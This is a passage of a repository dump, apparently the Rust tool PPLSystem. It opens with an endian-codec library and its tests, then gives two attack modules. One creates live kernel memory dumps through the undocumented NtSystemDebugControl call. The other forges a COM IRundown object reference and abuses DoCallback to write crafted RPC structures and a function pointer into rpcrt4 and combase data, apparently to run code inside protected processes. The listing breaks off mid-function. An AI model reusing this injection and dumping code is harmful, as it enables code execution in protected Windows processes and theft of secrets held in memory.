| } 157 | 158 | /// Represents size of a struct as packed bytes. 159 | /// 160 | /// At this moment all settings with [repr](https://doc.rust-lang.org/nomicon/other-reprs.html) 161 | /// attribute are ignored. 162 | /// 163 | /// In other words if struct is marked as `repr(packed)` attribute, `std::mem::sizeof()` should return the 164 | /// same value as ::PACKED_LEN. 165 | /// 166 | /// ``` 167 | /// // On a 64-bit machine, the size of struct A can be 16 bytes to make it more optimized for speed. 168 | /// // but `PACKED_LEN` must be set to 12 bytes. 169 | /// struct A { 170 | /// p: i32, 171 | /// v: i64, 172 | /// } 173 | /// ``` 174 | /// 175 | pub trait PackedSize { 176 | const PACKED_LEN: usize; 177 | } 178 | 179 | macro_rules! impl_codec_for_primitives { 180 | ($type:ty, $byte_len:expr) => { 181 | impl PackedSize for $type { 182 | const PACKED_LEN: usize = $byte_len; 183 | } 184 | 185 | impl EncodeLE for $type { 186 | #[inline] 187 | fn encode_as_le_bytes(&self, bytes: &mut [u8]) -> usize { 188 | bytes.copy_from_slice(&(self.to_le_bytes())); 189 | $byte_len 190 | } 191 | } 192 | 193 | impl EncodeBE for $type { 194 | #[inline] 195 | fn encode_as_be_bytes(&self, bytes: &mut [u8]) -> usize { 196 | bytes.copy_from_slice(&(self.to_be_bytes())); 197 | $byte_len 198 | } 199 | } 200 | 201 | impl DecodeLE for $type { 202 | #[inline] 203 | fn decode_from_le_bytes(bytes: &[u8]) -> Self { 204 | let mut arr = [0; $byte_len]; 205 | arr.copy_from_slice(&bytes); 206 | Self::from_le_bytes(arr) 207 | } 208 | } 209 | 210 | impl DecodeBE for $type { 211 | #[inline] 212 | fn decode_from_be_bytes(bytes: &[u8]) -> Self { 213 | let mut arr = [0; $byte_len]; 214 | arr.copy_from_slice(&bytes); 215 | Self::from_be_bytes(arr) 216 | } 217 | } 218 | }; 219 | } 220 | 221 | impl_codec_for_primitives!(u8, 1); 222 | impl_codec_for_primitives!(i8, 1); 223 | 224 | impl EncodeME for u8 { 225 | #[inline] 226 | fn encode_as_me_bytes(&self, bytes: &mut [u8]) -> usize { 227 | bytes.copy_from_slice(&(self.to_be_bytes())); 228 | 1 229 | } 230 | } 231 | 232 | impl DecodeME for u8 { 233 | #[inline] 234 | fn decode_from_me_bytes(bytes: &[u8]) -> Self { 235 | let mut arr = [0; 1]; 236 | arr.copy_from_slice(bytes); 237 | Self::from_le_bytes(arr) 238 | } 239 | } 240 | 241 | impl_codec_for_primitives!(u16, 2); 242 | impl_codec_for_primitives!(i16, 2); 243 | impl_codec_for_primitives!(u32, 4); 244 | impl_codec_for_primitives!(i32, 4); 245 | impl_codec_for_primitives!(u64, 8); 246 | impl_codec_for_primitives!(i64, 8); 247 | impl_codec_for_primitives!(u128, 16); 248 | impl_codec_for_primitives!(i128, 16); 249 | impl_codec_for_primitives!(usize, size_of::()); 250 | impl_codec_for_primitives!(isize, size_of::()); 251 | 252 | impl PackedSize for [T; S] { 253 | const PACKED_LEN: usize = T::PACKED_LEN * S; 254 | } 255 | 256 | impl EncodeBE for [T; S] { 257 | fn encode_as_be_bytes(&self, bytes: &mut [u8]) -> usize { 258 | let size = T::PACKED_LEN; 259 | 260 | for (i, value) in self.iter().enumerate() { 261 | value.encode_as_be_bytes(&mut bytes[i * size..(i + 1) * size]); 262 | } 263 | 264 | size * self.len() 265 | } 266 | } 267 | 268 | impl EncodeLE for [T; S] { 269 | fn encode_as_le_bytes(&self, bytes: &mut [u8]) -> usize { 270 | let size = T::PACKED_LEN; 271 | 272 | for (i, value) in self.iter().enumerate() { 273 | value.encode_as_le_bytes(&mut bytes[i * size..(i + 1) * size]); 274 | } 275 | 276 | size * self.len() 277 | } 278 | } 279 | 280 | impl EncodeME for [T; S] { 281 | fn encode_as_me_bytes(&self, bytes: &mut [u8]) -> usize { 282 | let size = T::PACKED_LEN; 283 | 284 | for (i, value) in self.iter().enumerate() { 285 | value.encode_as_me_bytes(&mut bytes[i * size..(i + 1) * size]); 286 | } 287 | 288 | size * self.len() 289 | } 290 | } 291 | 292 | impl DecodeBE for [T; S] { 293 | fn decode_from_be_bytes(bytes: &[u8]) -> Self { 294 | let size = T::PACKED_LEN; 295 | let mut i: usize = 0; 296 | 297 | [(); S].map(|_| { 298 | let res = T::decode_from_be_bytes(&bytes[i * size..(i + 1) * size]); 299 | i += 1; 300 | res 301 | }) 302 | } 303 | } 304 | 305 | impl PackedSize for *mut T { 306 | const PACKED_LEN: usize = size_of::<*mut T>(); 307 | } 308 | 309 | impl PackedSize for *const T { 310 | const PACKED_LEN: usize = size_of::<*const T>(); 311 | } 312 | 313 | impl DecodeLE for [T; S] { 314 | fn decode_from_le_bytes(bytes: &[u8]) -> Self { 315 | let size = T::PACKED_LEN; 316 | let mut i: usize = 0; 317 | 318 | [(); S].map(|_| { 319 | let res = T::decode_from_le_bytes(&bytes[i * size..(i + 1) * size]); 320 | i += 1; 321 | res 322 | }) 323 | } 324 | } 325 | 326 | impl DecodeME for [T; S] { 327 | fn decode_from_me_bytes(bytes: &[u8]) -> Self { 328 | let size = T::PACKED_LEN; 329 | let mut i: usize = 0; 330 | 331 | [(); S].map(|_| { 332 | let res = T::decode_from_me_bytes(&bytes[i * size..(i + 1) * size]); 333 | i += 1; 334 | res 335 | }) 336 | } 337 | } 338 | 339 | #[cfg(test)] 340 | mod tests { 341 | use super::*; 342 | 343 | #[test] 344 | fn derive_endian_size() { 345 | #[derive(PackedSize)] 346 | struct A {}; 347 | assert_eq!(A::PACKED_LEN, 0); 348 | 349 | #[derive(PackedSize)] 350 | struct B { 351 | _a: u16, 352 | } 353 | assert_eq!(B::PACKED_LEN, 2); 354 | 355 | #[derive(PackedSize)] 356 | struct C { 357 | _a: u16, 358 | _b: u16, 359 | } 360 | assert_eq!(C::PACKED_LEN, 2 + 2); 361 | } 362 | 363 | #[test] 364 | fn derive_littlendian_serialize() { 365 | #[derive(PackedSize, EncodeLE)] 366 | struct Example { 367 | a: u16, 368 | } 369 | 370 | let t = Example { a: 5 }; 371 | let mut b = [0; 2]; 372 | t.encode_as_le_bytes(&mut b); 373 | } 374 | 375 | #[test] 376 | fn derive_bigendian_serialize() { 377 | #[derive(PackedSize, EncodeBE)] 378 | struct Example { 379 | a: u16, 380 | } 381 | 382 | let t = Example { a: 5 }; 383 | let mut b = [0; 2]; 384 | t.encode_as_be_bytes(&mut b); 385 | } 386 | 387 | #[test] 388 | fn derive_mixed_endian_serialize() { 389 | #[derive(PackedSize, EncodeME, Default)] 390 | struct Example { 391 | #[endian = "le"] 392 | a: u16, 393 | #[endian = "be"] 394 | b: u16, 395 | #[endian = "little"] 396 | aa: i16, 397 | #[endian = "big"] 398 | bb: i16, 399 | } 400 | 401 | let t = Example::default(); 402 | let mut b = [0; 8]; 403 | t.encode_as_me_bytes(&mut b); 404 | } 405 | 406 | #[test] 407 | fn derive_all_serialize() { 408 | #[derive(Default, PackedSize, EncodeLE, EncodeBE, EncodeME)] 409 | struct Example { 410 | #[endian = "be"] 411 | a: u16, 412 | b: [u8; 32], 413 | } 414 | 415 | let t = Example::default(); 416 | let mut b = [0; 34]; 417 | t.encode_as_me_bytes(&mut b); 418 | t.encode_as_be_bytes(&mut b); 419 | t.encode_as_le_bytes(&mut b); 420 | } 421 | 422 | #[test] 423 | fn derive_all() { 424 | #[derive( 425 | Default, PackedSize, EncodeLE, EncodeBE, EncodeME, DecodeLE, DecodeBE, DecodeME, 426 | )] 427 | struct Example { 428 | #[endian = "be"] 429 | a: u16, 430 | } 431 | 432 | let t = Example::default(); 433 | let mut b = [0; 2]; 434 | t.encode_as_me_bytes(&mut b); 435 | t.encode_as_be_bytes(&mut b); 436 | t.encode_as_le_bytes(&mut b); 437 | } 438 | 439 | #[test] 440 | fn test_codec_2bytes_primitives() { 441 | #[derive(Debug, PartialEq, Eq, PackedSize, EncodeLE, DecodeLE, EncodeBE, DecodeBE)] 442 | struct A { 443 | a: u16, 444 | b: i16, 445 | } 446 | 447 | let test = A { a: 0x2F, b: 0x2F00 }; 448 | assert_eq!(A::PACKED_LEN, 4); 449 | let mut bytes = [0; A::PACKED_LEN]; 450 | 451 | // LE 452 | let size = test.encode_as_le_bytes(&mut bytes); 453 | assert_eq!([47, 0, 0, 47], bytes); 454 | assert_eq!(A::PACKED_LEN, size); 455 | 456 | let test_back = A::decode_from_le_bytes(&bytes); 457 | assert_eq!(test, test_back); 458 | 459 | //BE 460 | let size = test.encode_as_be_bytes(&mut bytes); 461 | assert_eq!([0, 47, 47, 0], bytes); 462 | assert_eq!(A::PACKED_LEN, size); 463 | 464 | let test_back = A::decode_from_be_bytes(&bytes); 465 | assert_eq!(test, test_back); 466 | } 467 | 468 | #[test] 469 | fn test_codec_4bytes_primitives() { 470 | #[derive(Debug, PartialEq, Eq, PackedSize, EncodeLE, DecodeLE, EncodeBE, DecodeBE)] 471 | struct A { 472 | a: u32, 473 | b: i32, 474 | } 475 | 476 | let test = A { 477 | a: 0x2F, 478 | b: 0x2F000000, 479 | }; 480 | assert_eq!(A::PACKED_LEN, 8); 481 | let mut bytes = [0; A::PACKED_LEN]; 482 | 483 | // LE 484 | let size = test.encode_as_le_bytes(&mut bytes); 485 | assert_eq!([47, 0, 0, 0, 0, 0, 0, 47], bytes); 486 | assert_eq!(A::PACKED_LEN, size); 487 | 488 | let test_back = A::decode_from_le_bytes(&bytes); 489 | assert_eq!(test, test_back); 490 | 491 | //BE 492 | let size = test.encode_as_be_bytes(&mut bytes); 493 | assert_eq!([0, 0, 0, 47, 47, 0, 0, 0], bytes); 494 | assert_eq!(A::PACKED_LEN, size); 495 | 496 | let test_back = A::decode_from_be_bytes(&bytes); 497 | assert_eq!(test, test_back); 498 | } 499 | 500 | #[test] 501 | fn test_codec_8bytes_primitives() { 502 | #[derive(Debug, PartialEq, Eq, PackedSize, EncodeLE, DecodeLE, EncodeBE, DecodeBE)] 503 | struct A { 504 | a: u64, 505 | b: i64, 506 | } 507 | 508 | let test = A { 509 | a: 0x2F, 510 | b: 0x2F000000_00000000, 511 | }; 512 | assert_eq!(A::PACKED_LEN, 16); 513 | let mut bytes = [0; A::PACKED_LEN]; 514 | 515 | // LE 516 | let size = test.encode_as_le_bytes(&mut bytes); 517 | assert_eq!([47, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 47], bytes); 518 | assert_eq!(A::PACKED_LEN, size); 519 | 520 | let test_back = A::decode_from_le_bytes(&bytes); 521 | assert_eq!(test, test_back); 522 | 523 | //BE 524 | let size = test.encode_as_be_bytes(&mut bytes); 525 | assert_eq!([0, 0, 0, 0, 0, 0, 0, 47, 47, 0, 0, 0, 0, 0, 0, 0,], bytes); 526 | assert_eq!(A::PACKED_LEN, size); 527 | 528 | let test_back = A::decode_from_be_bytes(&bytes); 529 | assert_eq!(test, test_back); 530 | } 531 | 532 | #[test] 533 | fn test_codec_16bytes_primitives() { 534 | #[derive(Debug, PartialEq, Eq, PackedSize, EncodeLE, DecodeLE, EncodeBE, DecodeBE)] 535 | struct A { 536 | a: u128, 537 | b: i128, 538 | } 539 | 540 | let test = A { 541 | a: 0x2F, 542 | b: 0x2F000000_00000000_00000000_00000000, 543 | }; 544 | assert_eq!(A::PACKED_LEN, 32); 545 | let mut bytes = [0; A::PACKED_LEN]; 546 | 547 | // LE 548 | let size = test.encode_as_le_bytes(&mut bytes); 549 | assert_eq!( 550 | [ 551 | 47, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 552 | 0, 0, 0, 0, 47 553 | ], 554 | bytes 555 | ); 556 | assert_eq!(A::PACKED_LEN, size); 557 | 558 | let test_back = A::decode_from_le_bytes(&bytes); 559 | assert_eq!(test, test_back); 560 | 561 | //BE 562 | let size = test.encode_as_be_bytes(&mut bytes); 563 | assert_eq!( 564 | [ 565 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 47, 47, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 566 | 0, 0, 0, 0, 0, 567 | ], 568 | bytes 569 | ); 570 | assert_eq!(A::PACKED_LEN, size); 571 | 572 | let test_back = A::decode_from_be_bytes(&bytes); 573 | assert_eq!(test, test_back); 574 | } 575 | 576 | #[test] 577 | fn test_codec_nested() { 578 | #[derive(Debug, PartialEq, Eq, PackedSize, EncodeLE, DecodeLE, EncodeBE, DecodeBE)] 579 | struct A { 580 | a: u32, 581 | b: u8, 582 | } 583 | 584 | #[derive(Debug, PartialEq, Eq, PackedSize, EncodeLE, DecodeLE, EncodeBE, DecodeBE)] 585 | struct B { 586 | a: A, 587 | b: u16, 588 | } 589 | 590 | let test = B { 591 | a: A { a: 0x2F, b: 0x88 }, 592 | b: 0x55, 593 | }; 594 | 595 | assert_eq!(B::PACKED_LEN, 7); 596 | let mut bytes = [0; B::PACKED_LEN]; 597 | 598 | // LE 599 | let size = test.encode_as_le_bytes(&mut bytes); 600 | assert_eq!([0x2f, 0, 0, 0, 0x88, 0x55, 0], bytes); 601 | assert_eq!(B::PACKED_LEN, size); 602 | 603 | let test_back = B::decode_from_le_bytes(&bytes); 604 | assert_eq!(test, test_back); 605 | 606 | //BE 607 | let size = test.encode_as_be_bytes(&mut bytes); 608 | assert_eq!([0, 0, 0, 0x2f, 0x88, 0, 0x55], bytes); 609 | assert_eq!(B::PACKED_LEN, size); 610 | 611 | let test_back = B::decode_from_be_bytes(&bytes); 612 | assert_eq!(test, test_back); 613 | } 614 | 615 | #[test] 616 | fn test_codec_array() { 617 | type A = [u16; 8]; 618 | 619 | let mut i = 0; 620 | let test: A = [(); 8].map(|_| { 621 | let ret = i as u16; 622 | i += 1; 623 | ret 624 | }); 625 | 626 | assert_eq!(A::PACKED_LEN, 16); 627 | let mut bytes = [0; A::PACKED_LEN]; 628 | 629 | //LE 630 | let size = test.encode_as_le_bytes(&mut bytes); 631 | assert_eq!([0, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 0, 6, 0, 7, 0], bytes); 632 | assert_eq!(A::PACKED_LEN, size); 633 | 634 | let test_back = A::decode_from_le_bytes(&bytes); 635 | assert_eq!(test, test_back); 636 | 637 | //BE 638 | let size = test.encode_as_be_bytes(&mut bytes); 639 | assert_eq!([0, 0, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 0, 6, 0, 7], bytes); 640 | assert_eq!(A::PACKED_LEN, size); 641 | 642 | let test_back = A::decode_from_be_bytes(&bytes); 643 | assert_eq!(test, test_back); 644 | } 645 | 646 | /* 647 | This will not compile because EncodeME derive require A to implement EncodeME. 648 | #[test] 649 | fn derive_parameters() { 650 | #[derive(PackedSize, EncodeME)] 651 | struct Example { 652 | #[endian = "big"] 653 | a: A, 654 | #[endian = "little"] 655 | be: u16, 656 | } 657 | } 658 | */ 659 | } 660 | -------------------------------------------------------------------------------- /images/pplsystem_inject.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Slowerzs/PPLSystem/eba70af27efa4d8056377487b942cbccba7edbd7/images/pplsystem_inject.png -------------------------------------------------------------------------------- /src/dmp/dumper.rs: -------------------------------------------------------------------------------- 1 | use std::{ffi::c_void, mem::size_of, ptr::{null, null_mut}}; 2 | 3 | use windows::{core::PCSTR, Win32::{ 4 | Foundation::{CloseHandle, HANDLE, NTSTATUS}, 5 | Storage::FileSystem::{ 6 | CreateFileA, FILE_CREATION_DISPOSITION, FILE_FLAGS_AND_ATTRIBUTES, FILE_SHARE_MODE, 7 | }, 8 | }}; 9 | 10 | #[derive(Debug)] 11 | pub enum DumpError { 12 | CreateFileError, 13 | DebuggerNotEnabled, 14 | } 15 | 16 | #[allow(non_snake_case, non_camel_case_types)] 17 | #[repr(C)] 18 | struct SYSDBG_LIVEDUMP_CONTROL { 19 | Version: u32, 20 | BugCheckCode: u32, 21 | BugCheckParam1: u64, 22 | BugCheckParam2: u64, 23 | BugCheckParam3: u64, 24 | BugCheckParam4: u64, 25 | FileHandle: HANDLE, 26 | CancelHandle: HANDLE, 27 | Flags: u32, 28 | Pages: u32, 29 | } 30 | 31 | #[link(name = "ntdll.dll", kind = "raw-dylib", modifiers = "+verbatim")] 32 | extern "C" { 33 | #[link_name = "NtSystemDebugControl"] 34 | fn NtSystemDebugControl( 35 | command: usize, 36 | input_buffer: *const SYSDBG_LIVEDUMP_CONTROL, 37 | input_buffer_length: usize, 38 | output_buffer: *const c_void, 39 | output_buffer_len: usize, 40 | return_length: *mut usize, 41 | ) -> NTSTATUS; 42 | } 43 | 44 | pub fn create_dump_file(path: String) -> Result<(), DumpError> { 45 | let file_handle = unsafe { 46 | CreateFileA( 47 | PCSTR(format!("{}\0", path).as_ptr()), 48 | 0x10000000, 49 | FILE_SHARE_MODE(0), 50 | None, 51 | FILE_CREATION_DISPOSITION(2), 52 | FILE_FLAGS_AND_ATTRIBUTES(0x80), 53 | HANDLE::default(), 54 | ).map_err(|_| DumpError::CreateFileError)? 55 | }; 56 | 57 | let dump_control = SYSDBG_LIVEDUMP_CONTROL { 58 | Version: 1, 59 | BugCheckCode: 0x161, 60 | BugCheckParam1: 0, 61 | BugCheckParam2: 0, 62 | BugCheckParam3: 0, 63 | BugCheckParam4: 0, 64 | FileHandle: file_handle, 65 | CancelHandle: HANDLE::default(), 66 | Flags: 4, 67 | Pages: 0, 68 | }; 69 | 70 | let status = unsafe { 71 | NtSystemDebugControl( 72 | 37, 73 | &dump_control, 74 | size_of::(), 75 | null(), 76 | 0, 77 | null_mut(), 78 | ) 79 | }; 80 | 81 | if status.is_err() { 82 | println!("NTSTATUS : {:#X}", status.0); 83 | return Err(DumpError::DebuggerNotEnabled); 84 | } 85 | 86 | unsafe { CloseHandle(file_handle).unwrap() }; 87 | 88 | Ok(()) 89 | } 90 | -------------------------------------------------------------------------------- /src/dmp/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod dumper; -------------------------------------------------------------------------------- /src/irundown/inject.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_snake_case)] 2 | 3 | use std::fs; 4 | use std::mem::transmute_copy; 5 | use std::{ffi::c_void, mem::size_of}; 6 | 7 | use endian_codec::EncodeLE; 8 | use pe_parser::pe::parse_portable_executable; 9 | use pe_parser::section::SectionHeader; 10 | use windows::core::*; 11 | use windows::Win32::System::Com::IStream; 12 | use windows::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress}; 13 | use windows::Win32::{ 14 | System::Com::{Marshal::CoUnmarshalInterface, STREAM_SEEK_SET}, 15 | UI::Shell::SHCreateMemStream, 16 | }; 17 | 18 | use super::structs::{ 19 | ARGS_BUFFER, MIDL_SERVER_INFO, MIDL_STUB_DESC, RPC_CLIENT_INTERFACE, RPC_DISPATCH_TABLE, 20 | RPC_MESSAGE, RPC_SYNTAX_IDENTIFIER, RPC_VERSION, 21 | }; 22 | use super::structs::OBJREF; 23 | 24 | #[derive(Debug, Clone, Copy, Default)] 25 | #[allow(non_snake_case, non_camel_case_types)] 26 | #[repr(C, packed(4))] 27 | struct XAptCallback { 28 | pfnCallback: usize, 29 | pParam: usize, 30 | pServerCtx: usize, 31 | pUnk: usize, 32 | iid: GUID, 33 | iMethod: i32, 34 | guidProcessSecret: u128, 35 | } 36 | 37 | #[interface("00000134-0000-0000-C000-000000000046")] 38 | unsafe trait IRundown: IUnknown { 39 | fn RemQueryInterface(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 40 | fn RemAddRef(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 41 | fn RemRelease(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 42 | fn RemQueryInterface2(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 43 | fn AcknowledgeMarshalingSets(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 44 | fn RemChangeRef(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 45 | fn DoCallback(&self, callback: *const XAptCallback) -> HRESULT; 46 | fn DoNonreentrantCallback(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 47 | fn GetInterfaceNameFromIPID(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 48 | fn RundownOid(&self, dwDestContext: u32, pclsid: *mut GUID) -> HRESULT; 49 | } 50 | 51 | pub fn init_remote_com_secret(ipid: u128, oxid: u64) -> HRESULT { 52 | let mut objref = OBJREF::default(); 53 | 54 | objref.signature = 0x574f454d; 55 | objref.flags = 1; 56 | objref.iid = GUID::from_values( 57 | 0x00000134, 58 | 0x0000, 59 | 0x0000, 60 | [0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46], 61 | ); 62 | 63 | objref.std.flags = 0; 64 | objref.std.cPublicRefs = 1; 65 | 66 | objref.std.ipid = ipid; 67 | objref.std.oxid = oxid; 68 | 69 | let stream: IStream = unsafe { SHCreateMemStream(None).unwrap() }; 70 | unsafe { 71 | stream 72 | .Write( 73 | &objref as *const OBJREF as *const c_void, 74 | size_of::() as u32, 75 | None, 76 | ) 77 | .unwrap() 78 | }; 79 | 80 | unsafe { stream.Seek(0, STREAM_SEEK_SET, None).unwrap() }; 81 | 82 | let rundown: IRundown = unsafe { CoUnmarshalInterface(&stream).unwrap() }; 83 | 84 | unsafe { (rundown.vtable().base__.AddRef)(transmute_copy(&rundown)) }; 85 | 86 | let mut callback = XAptCallback::default(); 87 | 88 | callback.pfnCallback = 1; 89 | callback.pParam = 1; 90 | 91 | let res = unsafe { rundown.DoCallback(&callback as *const XAptCallback) }; 92 | 93 | res 94 | } 95 | 96 | pub fn set_target_func(func: u64, ipid: u128, oxid: u64, context: u64, secret: u128) { 97 | let mut target_function_data = vec![0; size_of::()]; 98 | func.encode_as_le_bytes(&mut target_function_data); 99 | 100 | //let start_address = 101 | // unsafe { GetModuleHandleA(s!("rpcrt4\0")).unwrap().0 as u64 } + 0xFF000 + 0x15E4; 102 | 103 | let rpcrt4_binary = 104 | fs::read(r"C:\windows\system32\rpcrt4.dll").expect("Failed reading rpcrt4 from disk"); 105 | let rpcrt4_pe = 106 | parse_portable_executable(rpcrt4_binary.as_slice()).expect("Failed parsing rpcrt4.dll"); 107 | 108 | let rpcrt_data: SectionHeader = rpcrt4_pe 109 | .section_table 110 | .into_iter() 111 | .filter(|&sec| sec.name.starts_with(".data".as_bytes())) 112 | .collect::>() 113 | .first() 114 | .expect("Failed getting .data section for rpcrt4.dll") 115 | .clone(); 116 | 117 | let start_address = unsafe { GetModuleHandleA(s!("rpcrt4\0")).unwrap().0 as u64 } 118 | + rpcrt_data.virtual_address as u64 119 | + rpcrt_data.virtual_size as u64; 120 | 121 | overwrite_data_to_address( 122 | &target_function_data, 123 | start_address, 124 | ipid, 125 | oxid, 126 | secret, 127 | context, 128 | ); 129 | } 130 | 131 | pub fn write_rpc_message( 132 | start_address: u64, 133 | arguments_address: u64, 134 | function_address: u64, 135 | ipid: u128, 136 | oxid: u64, 137 | context: u64, 138 | secret: u128, 139 | ) -> u64 { 140 | 141 | let mut start_address = start_address; 142 | 143 | let combase_binary = 144 | fs::read(r"C:\windows\system32\combase.dll").expect("Failed reading combase from disk"); 145 | let combase_pe = 146 | parse_portable_executable(combase_binary.as_slice()).expect("Failed parsing combase.dll"); 147 | 148 | let combase_data: SectionHeader = combase_pe 149 | .section_table 150 | .into_iter() 151 | .filter(|&sec| sec.name.starts_with(".data".as_bytes())) 152 | .collect::>() 153 | .first() 154 | .expect("Failed getting .data section for combase.dll") 155 | .clone(); 156 | 157 | let zero_mem = unsafe { GetModuleHandleA(s!("combase.dll\0")).unwrap().0 as u64 } 158 | + combase_data.virtual_address as u64 159 | + combase_data.virtual_size as u64; 160 | 161 | let arguments_memory = arguments_address; 162 | 163 | let target_function: u64 = function_address; 164 | 165 | let mut target_function_data = vec![0; size_of::()]; 166 | target_function.encode_as_le_bytes(&mut target_function_data); 167 | 168 | let target_function_address = start_address; 169 | write_data_to_address( 170 | &target_function_data, 171 | start_address, 172 | ipid, 173 | oxid, 174 | secret, 175 | context, 176 | ); 177 | start_address += target_function_data.len() as u64 + 8; 178 | 179 | let mut rpc_dispatch_table = RPC_DISPATCH_TABLE::default(); 180 | rpc_dispatch_table.DispatchTableCount = 1; 181 | rpc_dispatch_table.DispatchTable = target_function_address as usize; 182 | 183 | let rpc_dispatch_table_data: [u8; size_of::()]; 184 | unsafe { rpc_dispatch_table_data = transmute_copy(&rpc_dispatch_table) }; 185 | 186 | let rpc_dispatch_table_address = start_address; 187 | write_data_to_address( 188 | &rpc_dispatch_table_data, 189 | start_address, 190 | ipid, 191 | oxid, 192 | secret, 193 | context, 194 | ); 195 | start_address += rpc_dispatch_table_data.len() as u64; 196 | 197 | let argument_format_string: Vec = vec![ 198 | 0x32, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0xc0, 0x00, 0x10, 0x00, 0x44, 199 | 0x0d, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 200 | 0x0b, 0x00, 0x48, 0x00, 0x08, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x10, 0x00, 0x0b, 0x00, 0x48, 201 | 0x00, 0x18, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x20, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x28, 0x00, 202 | 0x0b, 0x00, 0x48, 0x00, 0x30, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x38, 0x00, 0x0b, 0x00, 0x48, 203 | 0x00, 0x40, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x48, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x50, 0x00, 204 | 0x0b, 0x00, 0x48, 0x00, 0x58, 0x00, 0x0b, 0x00, 0x70, 0x00, 0x60, 0x00, 0x0b, 0x00, 0x00, 205 | ]; 206 | 207 | let argument_format_string_address = start_address; 208 | write_data_to_address( 209 | &argument_format_string, 210 | start_address, 211 | ipid, 212 | oxid, 213 | secret, 214 | context, 215 | ); 216 | start_address += argument_format_string.len() as u64; 217 | 218 | let mut midl_stub_desc = MIDL_STUB_DESC::default(); 219 | midl_stub_desc.mFlags = 1; 220 | midl_stub_desc.fCheckBounds = 1; 221 | midl_stub_desc.Version = 0x50002; 222 | midl_stub_desc.MIDLVersion = 0x800025b; 223 | // FIXME 224 | // RpcInterfaceInformation 225 | 226 | let midl_stub_data: [u8; size_of::()]; 227 | unsafe { midl_stub_data = transmute_copy(&midl_stub_desc) }; 228 | 229 | let midl_stub_address = start_address; 230 | write_data_to_address(&midl_stub_data, start_address, ipid, oxid, secret, context); 231 | start_address += midl_stub_data.len() as u64; 232 | 233 | let mut midl_server_info = MIDL_SERVER_INFO::default(); 234 | midl_server_info.pStubDesc = midl_stub_address as usize; 235 | midl_server_info.ProcString = argument_format_string_address as usize; 236 | midl_server_info.FmtStringOffset = zero_mem as usize; 237 | midl_server_info.DispatchTable = target_function_address as usize; 238 | // FIXME 239 | // FmtStringOffset, DispatchTable 240 | 241 | let midl_server_info_data: [u8; size_of::()]; 242 | unsafe { midl_server_info_data = transmute_copy(&midl_server_info) }; 243 | 244 | let midl_server_info_address = start_address; 245 | write_data_to_address( 246 | &midl_server_info_data, 247 | start_address, 248 | ipid, 249 | oxid, 250 | secret, 251 | context, 252 | ); 253 | start_address += midl_server_info_data.len() as u64; 254 | 255 | let mut rpc_client_interface = RPC_CLIENT_INTERFACE::default(); 256 | rpc_client_interface.DispatchTable = rpc_dispatch_table_address as usize; 257 | // FIXME 258 | rpc_client_interface.InterpreterInfo = midl_server_info_address as usize; 259 | rpc_client_interface.Length = size_of::() as u32; 260 | rpc_client_interface.InterfaceId.SyntaxVersion.MajorVersion = 1; 261 | rpc_client_interface 262 | .TransferSyntax 263 | .SyntaxVersion 264 | .MajorVersion = 2; 265 | rpc_client_interface.Flags = 0x4000000; 266 | 267 | let rpc_client_interface_data: [u8; size_of::()]; 268 | //rpc_client_interface.encode_as_le_bytes(&mut rpc_client_interface_data); 269 | 270 | unsafe { rpc_client_interface_data = transmute_copy(&rpc_client_interface) }; 271 | 272 | let rpc_client_interface_address = start_address; 273 | 274 | write_data_to_address( 275 | &rpc_client_interface_data, 276 | start_address, 277 | ipid, 278 | oxid, 279 | secret, 280 | context, 281 | ); 282 | start_address += rpc_client_interface_data.len() as u64; 283 | 284 | let mut rpc_message = RPC_MESSAGE::default(); 285 | let mut rpc_syntax_identifier = RPC_SYNTAX_IDENTIFIER::default(); 286 | let mut rpc_version = RPC_VERSION::default(); 287 | 288 | rpc_version.MajorVersion = 2; 289 | rpc_syntax_identifier.SyntaxVersion = rpc_version; 290 | 291 | rpc_message.RpcFlags = 0x1000; 292 | rpc_message.DataRepresentation = 0x10; 293 | 294 | rpc_message.RpcInterfaceInformation = rpc_client_interface_address as usize; 295 | rpc_message.BufferLength = 14 * size_of::() as u32; 296 | 297 | rpc_message.Buffer = arguments_memory as usize; 298 | 299 | let rpc_message_data: [u8; size_of::()]; 300 | unsafe { rpc_message_data = transmute_copy(&rpc_message) }; 301 | 302 | write_data_to_address( 303 | &rpc_message_data, 304 | start_address, 305 | ipid, 306 | oxid, 307 | secret, 308 | context, 309 | ); 310 | 311 | start_address 312 | } 313 | 314 | pub fn overwrite_data_to_address( 315 | data: &[u8], 316 | address: u64, 317 | ipid: u128, 318 | oxid: u64, 319 | secret: u128, 320 | context: u64, 321 | ) { 322 | let mut objref = OBJREF::default(); 323 | 324 | objref.signature = 0x574f454d; 325 | objref.flags = 1; 326 | objref.iid = GUID::from_values( 327 | 0x00000134, 328 | 0x0000, 329 | 0x0000, 330 | [0xc0, 0x00, 0x00, 0x00, 0x00, 